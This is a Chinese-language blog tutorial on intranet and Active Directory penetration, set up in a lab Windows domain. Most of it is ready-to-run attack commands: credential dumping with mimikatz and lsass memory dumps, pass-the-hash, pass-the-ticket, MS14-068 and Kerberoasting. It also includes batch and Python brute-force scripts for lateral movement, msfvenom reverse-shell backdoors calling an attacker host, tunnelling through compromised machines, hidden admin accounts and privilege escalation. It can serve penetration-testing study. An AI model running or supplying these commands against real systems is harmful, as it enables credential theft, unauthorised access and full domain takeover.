内网渗透篇
[TOC]
域的搭建
实验环境:
win2008 域控 本地管理员密码:0801.com 域密码:yk2008.com ip:192.168.137.2
win 2008 域成员 本地管理员密码:0802.com 域密码:yc2008.com ip:192.168.137.66
win 2003 域成员 本地管理员密码:0301.com 域密码: yc2003.com ip:192.168.137.99
配置域控2008
使用vm1网卡
配置ip
找到服务器管理器
一直下一步,然后安装
安装成功
运行dcpromo程序:
一直下一步,到这里新建域
命名林根域
选择2008 R2
一直下一步/默认是,到这一步设置密码为:yk2008.com
一直下一步
完成了域控的配置,并重启
重启后,有域的标识出现,我们使用前文设置的域控密码登录
进入后
打开域管理中心
打开用户和计算机,新建组织hack
在这个组分别建立server2003用户和server2008用户,设置域密码分别为 yc2003.com和yc2008.com
到这里域控的配置就完成了,接下来就让域成员加入域
进入windows2003
更改计算机名加入域
windows2008同理
然后重启
输入加入域的计算机名
成功登入
我们在域控中就能看到两台计算机上线
域环境就搭建好了
信息搜集
基本信息收集:
了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
网络信息收集:
了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
用户信息收集:
了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
凭据信息收集操作:
收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
探针主机域控架构服务:
为后续横向思路做准备,针对应用,协议等各类攻击手法
探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令
nmap masscan 第三方 PowerShell 脚本 nishang empire 等
#导入模块 nishang
Import-Module .\nishang.psm1
#设置执行策略
Set-ExecutionPolicy RemoteSigned
#获取模块 nishang 的命令函数
Get-Command -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort
#其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)
域横向
域横向必备知识点
知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希 hash 传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
#获取win密码hash的两个工具
Pwdump7
QuarksPwdump
知识点3:
域用户与本地用户的区别
比如,god/administrator
是域用户,./administrator
是本地用户
at&&schtasks(密码是明文)
优点:官方自带命令,不会被杀
缺点:命令比较繁琐,且只支持明文密码
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令
获取到某域主机权限–>minikatz 得到密码(明文,hash)–>用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典–>尝试连接–>创建计划任务(at|schtasks)–>执行文件可为后门或者相关命令
利用流程:
- 建立 IPC 链接到目标主机 (目标主机要开启135,445)
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除 IPC 链接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除
IPC net view xx.xx.xx.xx # 查看对方共享
#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
#schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务
对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
atexec-impacket 明文和HASH 传递攻击
impacket的exe版本:https://github.com/maaaaz/impacket-examples-windows
优点:命令简单,易上手
缺点:非官方自带,可能被杀
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
明文 HASH 传递批量利用
收集活跃ip,放在ip.txt中
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版
收集可能的密码和hash放在文件中
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版
明文HASH传递批量利用-升级版
利用py脚本制作的exe文件批量尝试横向渗透
Fuck.py
import os
import time
ips={
'192.168.3.30',
'192.168.3.25',
'192.168.3.32',
'192.168.3.29'
}
users={
'admin',
'user',
'Administrator',
'webadmin',
'boss'
}
passwds={
'123456',
'passwd',
'admin123'
'admin666'
}
for ip in ips:
for user in users:
for passwd in passwds:
exec = "net use \\"+ "\\" + ip +'ipc$ '+passwd+' /user:god\\' + user
print('---->'+exec+'<----')
os.system(exec)
time.sleep(1)
执行效果
将python脚本编译成exe文件
安装pyinstaller
pip install pyinstaller
生成可执行EXE
Pyinstaller -F [.py文件]
会生成一个同名的exe文件
Procdump+Mimikatz 配合获取hash密码
这种情况适用于mimikatz被杀,但是自己做免杀失败/或不想做免杀可以来与Procdump配合使用,因为Procdump是官方自带的,所以不会被杀
- Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases
# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp
# mimikatz 在本地执行:
privilege::debuge
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
然后可以利用 Hashcat 破解获取 Windows NTML Hash
SMB 服务利用-psexec(官方自带+第三方),smbexec(只有第三方)
psexec
PsTools - Windows Sysinternals | Microsoft Docs
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
#psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
exit #退出
#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
但是当我们使用hash传递时
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法采用 hash 连接
#非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
就会出现问题,这是因为官方 Pstools 无法采用 hash 连接,所以我们可以使用 impacket 工具包
缺点:非官方,会被杀毒软件杀掉,所以要做免杀
smbexec
无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
WMI 服务利用-wmic,cscript,wmiexec
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显 所以写入文件夹后还要自己想办法读取
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
#escript不需要下载,自带。但是需要用到第三方 wmiexec.vbs,但是wmiexec.vbs免杀非常简单
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
缺点:容易被杀
同理可以借用编程解放双手
hash 批量利用-python 编译 exe
#pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
PTH&PTK&PTT哈希票据传递
Kerberos 协议在域中具体工作方法:
**1、客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用 krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检 测,成功之后创建 TGT(Ticket-Granting Ticket) **
**2、将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读 取 kerberos 中 TGT 数据 **
**3、 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服 务)票证,并且对 TGT 进行检测 **
4、 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将 加密后的结果返回给客户机。
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
PTH
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击。
总结:KB2871997 补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了补丁才能用户都可以连接,采用 aes256 连接
参考链接: https://www.freebuf.com/column/220740.html
PTT
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的。
三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket。
MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限,微软给出的补丁是 kb3011780。
Golden ticket(黄金票据),SILVER ticket(白银票据),属于权限维持技术 ,简单来说就是将连接合法的票据注入到 内存中实现连接。
案例:
1.PTH传递-mimikatz
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。
privilege::debug
sekurlsa::logonPasswords
假设我们找到了域控的hash密码
# PTH ntlm 传递
# 未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 #连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c #连接本地用户
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\\OWA2010CN-God.god.org
就会弹出一个cmd窗口
2.PTK传递-mimikatz
这个必须打了补丁才能连接,不然连不上去
PTK aes256 传递
打补丁后的工作组及域连接:
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
3.域横向移动 PTT 传递-ms14068&kekeo&本地
第一种利用漏洞:能实现普通用户直接获取域控 system 权限
此处mimikatz无需提升权限,因为不涉及高权限操作,一个普通用户就可以
#MS14-068 powershell 执行
1.查看当前 sid whoami/user
2.mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表 klist
6.利用
dir \\192.168.3.21\c$ #如果ip无法识别,改成计算机名字
第二种利用工具 kekeo
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入
dir \\192.168.3.21\c$
第三种利用mimikatz导出本地票据(需要管理权限)
域控连接后10h内有效
privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据
RDP与SPN
RDP
RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断
RDP明文密码链接
1.windows: mstsc
2.mstsc.exe /console /v:192.168.3.21 /admin
3.linux: rdesktop 192.168.3.21:3389
RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;
开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
1.mstsc.exe /restrictedadmin
2.mimikatz.exe
3.privilege::debug
4.sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
域横向移动SPN服务-探针,请求,导出,破解,重写
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
1、探针
setspn -q */*
setspn -q */* | findstr "MSSQL"
2、请求票据
klist purge //删除缓存票据
klist //查看票据
# 请求票据
# powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
# 或者mimikatz请求
mimikatz.exe "kerberos::ask /target:xxxx"
3、导出票据(到mimikatz运行目录)
# mimikatz
mimikatz.exe "kerberos::list /export"
4、破解票据
# 破解工具tgsrepcrack.py python3环境运行(将票据拖到本地破解)
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
5、重写票据(属于后续攻击,不一定会成功,-u500指的是管理员用户,-g512指的是管理员组)
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存
6、利用
dir //xxx.xxx.xxx.xxx/c$
隧道技术
ssh隧道
通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备。通过 ssh 的端口转发(又称 ssh 隧道)技术,可以实现这种远程调试功能。ssh 客户端运行于本地机器,它的作用是:登录到目标机器并在目标机器上执行命令。它可以建立一个安全通道,为不安全网络上两个不受信任的主机提供安全的加密通信。X11 连接、任意 TCP 端口和 UNIX 域套接字也可以通过 ssh 安全通道进行转发。ssh 连接并登录到指定的主机名(用户名可选)。如果指定了命令,命令将在远程主机上执行,而不是在本机 shell 里执行。
ssh 端口转发相关的常用选项如下:
-C
请求压缩所有数据(包括 stdin、stdout、stderr 和用于转发的 X11、TCP 和 UNIX 域连接的数据)。压缩算法与 gzip 使用的算法相同,压缩级别由 ssh 协议版本 1 的 CompressionLevel 选项控制。在调制解调器线路和其他慢速连接上采用压缩是可取的,但它会减慢快速网络上的速度。
-f
请求 ssh 在执行命令之前转到后台。如果用户希望 ssh 在后台运行,但 ssh 需要用户提供密码或口令,使用 -f 选项就很有用,在用户输入密码之后,ssh 就会转入后台运行。这个选项隐含了 -n 选项的功能(-n 选项将 stdin 重定向到 /dev/null,从而避免后台进程读 stdin)。在远程站点上启动 X11 程序的推荐方法是使用 “ssh -f host xterm” 。
如果 ExitOnForwardFailure 配置选项设置的是 “yes”,则使用 -f 选项启动的 ssh 客户端会等所有的远程端口转发建立成功后才将自己转到后台运行。
-n
将 stdin 重定向到 /dev/null (实际上是为了防止后台进程从stdin读取数据)。当 ssh 在后台运行时必须使用此选项。
一个常见的技巧是使用它在目标机器上运行 X11 程序。例如,ssh -n shadow.cs.hut.fi emacs &
将在 shadows.cs.hut.fi 上启动 emacs 程序。X11 的连接将通过加密通道自动转发。ssh 程序将在后台运行。(如果 ssh 需要请求密码或口令,则此操作无效;参见-f选项。)
-N
不执行远程命令。此选项用于只需要端口转发功能时。
-g
允许远程主机连接到本地转发端口。如果用于多路复用连接,则必须在主进程上指定此选项。
-t
强制分配一个伪终端。在目标机上执行任意的基于屏幕的程序时(例如,实现菜单服务),分配伪终端很有用。使用多个 -t 选项则会强制分配终端,即使 ssh 没有本地终端。
-T
禁止分配伪终端。
-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
数据从本机转发到远程。本机上指定 TCP 端口或 UNIX 套接字的连接将被转发到目标机上指定端口或套接字。
上述参数中,bind_address 指本地地址;port 指本地端口;local_socket 指本地 UNIX 套接字;host 指远程主机地址;hostport 指远程端口;remote_socket 指远程 UNIX 套接字。
ssh 端口转发模式
ssh 的端口转发有三种模式:
本地:ssh -C -f -N -g -L local_listen_port:remote_host:remote_port agent_user@agent_host
将本地机监听端口 local_listen_port 上的数据转发到远程端口 remote_host:remote_port
远程:ssh -C -f -N -g -R agent_listen_port:local_host:local_port agent_user@agent_host
将代理机监听端口 agent_listen_port 上的数据转发到本地端口 local_host:local_port
动态:ssh -C -f -N -g -D listen_port agent_user@agent_host
正向连接
WEB服务器执行
ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 web@192.168.0.144
反向连接
在攻击机上启动ssh
/etc/init.d/ssh start
在web服务器上执行
ssh -qTfnN -R port:host:hostport remote_ip
ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.0.115 # 将本地的22端口转发到192.168.0.115 的2222端口
攻击机上再执行
ssh -p 2222 web@127.0.0.1
Socket代理
SSH -qTfnN -D port remotehots
端口转发与端口映射
生成metaploit后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.196
set lport 12345
exploit
当运行后门,得到反弹shell后
映射端口:
portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128
此时我们访问 本机的2020端口 即打开192.168.0.115:2020 实际上访问的是 10.10.10.128:80 的服务
端口转发
portfwd add -l 5555 -p 3389 -r 192.168.0.149 #将肉鸡的3389端口映射到本地的5555端口
rdesktop 127.0.0.1:5555
查看列表
portfwd list
清空列表
portfwd flush
socket隧道
下载地址:
http://sourceforge.net/project/ssocks/
解压编译:
tar zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make #编译后会创建一个src文件夹
cd src
kali机使用:
./rcsocks -l 1088 -p 1080 -vv
等待远程socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道
web服务器:
/rssocks -vv -s 192.168.10.115:1080
利用proxychains进行Socks5代理
编辑proxychains工具
vim /etc/proxychains.conf
注释掉socks4,加上socks5
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1088
kail机使用代理访问:
proxychains firefox http://10.10.10.128
就会成功访问
使用nmap扫描
proxychains nmap -Pn -sT 10.10.10.128
跨路由扫描
生成metaploit后门,并监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit
运行后门,得到反弹shell
getuid 查看当前用户
ifconfig 获取网卡信息
run get_local_subnets 获取路由信息
run autoroute -p 查看当前路由
run autoroute -s 10.10.10.0/24 增加路由
使用socks4a模块
use auxiliary/server/socks4a
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
设置端口
set SRVPORT 1044
exploit
然后配置proxychains
vim /etc/proxychains.conf
proxychains.conf
socks4 192.168.0.115 1044
使用nmap扫描
proxychains nmap -sT Pn 10.10.10.128
也可以用浏览器访问
proxychains firefox http://10.10.10.128
缺点:
无法进行爆破(如hydra)等一些操作
MSF-常见的内网测试渗透
生成metaploit后门,并监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit
运行后门,得到2003服务器反弹shell
查看路由表
route
增加路由
run autoroute -s 10.10.10.0/24
查看路由列表
run autoroute -p
清空路由
run autoroute -d
提权命令:
sysinfo 查看系统信息
ps 查看进程
getuid 当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限
增加管理员
net user sakura$ 123456 /add & net localground administrators sakura$ /add
检测存活ip
run post/multi/gather/ping_sweep rhosts=10.10.10.0/24
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24
增加路由表
run autoroute -s 10.10.10.0/24
background
use auxiliary/server/socks4a
set SRVHOST 192.168.0.115 #端口默认是1080
exploit
vim /etc/proxychains.conf
socks4 192.168.0.115 1080
proxychains nmap -sT -Pn -P 445,22,80,3306 10.10.10.130-135 --open -oN 10.10.10.0.txt
445开放,尝试hash攻击
hash获取
meterpreter > hashdump
ues exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.131
set SMBUser Administrator
set SMBPass 44efcexxxxxxxxxxxxxxxxxxxxxxxx
exploit
使用mimikatz来获取更多密码
meterpreter > load mimikatz
meterpreter > msv #获取hash密码
meterpreter > run getgui -e #开启3389端口
meterpreter > run getgui -u sakura -p 123456 #增加用户
root@kali:~# proxychains rdesktop -u Administrator -p 123456 10.10.10.131 #登录3389端口
MSF进行一次完整的域渗透流程
渗透前提:拿到了域客户机2008的shell
生成metaploit后门,并监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit
运行后门,得到2008服务器反弹shell
扫描内网的机器
run post/windows/gather/qrp_scanner rhosts=10.10.1.0/24
加入路由
background
route add 10.10.1.3 255.255.255.0 1
使用扫描器
use scanner/portscan/tcp #默认扫描1-10000端口
set rhost 10.10.1.3
exploit
通过扫描发现 10.10.1.3 的3306端口存在mysql服务
进行弱口令攻击
use auxiliary/scanner/mysql/mysql_login
set rhost 10.10.1.3
set username root
set pass_file /root/password.txt
exploit
成功爆破出弱口令
尝试使用mysql_mof提权,得到域客户机2003的session
use exploit/windows/mysql/mysql_mof
set password 123456
set rhost 10.10.1.3
set username root
set payload windows/metepreter/bind_tcp
exploit
现在拿到了2003的系统权限,就可以使用一些命令进行信息搜集
new view /domain:moonsec #查看当前域用户
得到目标机ip
ping SERVERS2003
net user /domain #获取所有域的用户列表
net group /domain #获取域用户组信息
net group "domain admins" /domain #获取当前域管理员信息
net time /domain #查看域实际及域服务器名字
可以得到域控信息
WIN-7230786H6KU.moonsec.com 10.10.1.2 #这个就是域控
因为普通域用户 需要更改系统信息 都需要通过域管理员的操作 要输入账号密码
抓明文 mimikatz
meterpreter > load mimikatz
meterpreter > msv #获取hash密码
尝试能否抓明文
meterpreter > kerberos #获取明文密码
现在想要获取session
use exploit/windows/smb/psexec
set rhost 10.10.1.2
set SMBDomain moonsec
set SMBUser administrator
set SMBPass xxx123456..
set payload windows/meterpreter/bind_tcp
exploit
得到域控shell,但是权限不够
get privs
getsystem
使用uac提权
use exploit/windows/local/ask
set sessions 3
exploit
提权成功
获取hash密码
meterpreter > hashdump
#或者
meterpreter > run post/windows/gather/hashdump
mimikatz抓明文密码
meterpreter > load mimikatz
meterpreter > msv #获取hash密码
meterpreter > kerberos #获取明文密码
meterpreter > mimikatz_command -f samd::hashes #另一种方式获取hash值
权限维持:进程注入
meterpreter > migrate 2804
开启域控远程连接
meterpreter > run getgui -e
使用socks4a连接3389
run autoroute -s 10.10.1.0/24 255.255.255.0
use auxiliary/server/socks4a
set srvhost 10.10.1.2
配置pxoxychains.conf
vim /etc/proxychains.conf
....
socks4 192.168.0.115 1080
登录3389
root@kali:~ proxychains rdesktop 10.10.1.2 #登录3389端口
增加账号
meterpreter > run getgui -u moonsec -p moonsec
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!